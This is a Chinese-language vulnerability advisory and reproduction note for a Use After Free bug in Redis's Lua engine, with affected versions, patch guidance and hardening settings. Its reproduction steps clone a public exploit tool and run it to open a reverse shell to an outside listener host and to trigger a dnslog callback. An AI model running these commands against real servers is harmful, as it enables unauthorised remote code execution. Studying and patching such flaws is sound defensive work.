漏洞详情
Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。
据官方描述,在 Redis 的 Lua 脚本引擎的垃圾回收机制中存在 Use After Free 漏洞,经过身份验证的远程攻击者可通过构造特殊的 Lua 脚本触发,从而最终可能导致远程任意代码的执行等。
注:所有使用 Lua 脚本的 Redis 都受该漏洞影响。
影响版本
Redis < 6.2.20
Redis < 7.2.11
Redis < 7.4.6
Redis < 8.0.4
Redis < 8.2.2
安全版本
Redis >= 6.2.20
Redis >= 7.2.11
Redis >= 7.4.6
Redis >= 8.0.4
Redis >= 8.2.2
漏洞复现
漏洞复现poc
https://github.com/hzhsec/redis-cve.git
目前只找到支持这两个镜像的poc
- x86-64 Linux
redis:8.2.1-alpineDocker image - x86-64 Linux
redis:8.2.1-bookwormDocker image
1.复现环境
镜像拉取
docker run -d -p 6379:6379 redis:8.2.1-alpine
2.漏洞脚本获取
git clone https://github.com/saneki/cve-2025-49844.git
3.利用
cd cve-2025-49844
同步依赖
uv sync
反弹命令执行
uv run cve-2025-49844 --target-host 192.168.41.128 --target-port 6379 rshell -l 10.22.167.164 -p 4444


单命令执行
uv run cve-2025-49844 --target-host 192.168.41.128 --target-port 6379 command "ping qanctw.dnslog.cn"


修复建议
- 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,升级至安全版本
https://github.com/redis/redis/releases - 缓解措施:
- 阻止用户执行 Lua 脚本:可通过访问控制列表同时限制普通用户执行 EVAL 和 EVALSHA 命令进行缓解。
- 编辑配置文件
/etc/redis/redis.conf
- 启用认证
requirepass your_strong_password_here
- 限制网络访问
bind 127.0.0.1 ::1
protected-mode yes
- 禁用危险命令
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
rename-command EVALSHA ""
- 开启日志
loglevel notice
logfile /var/log/redis/redis-server.log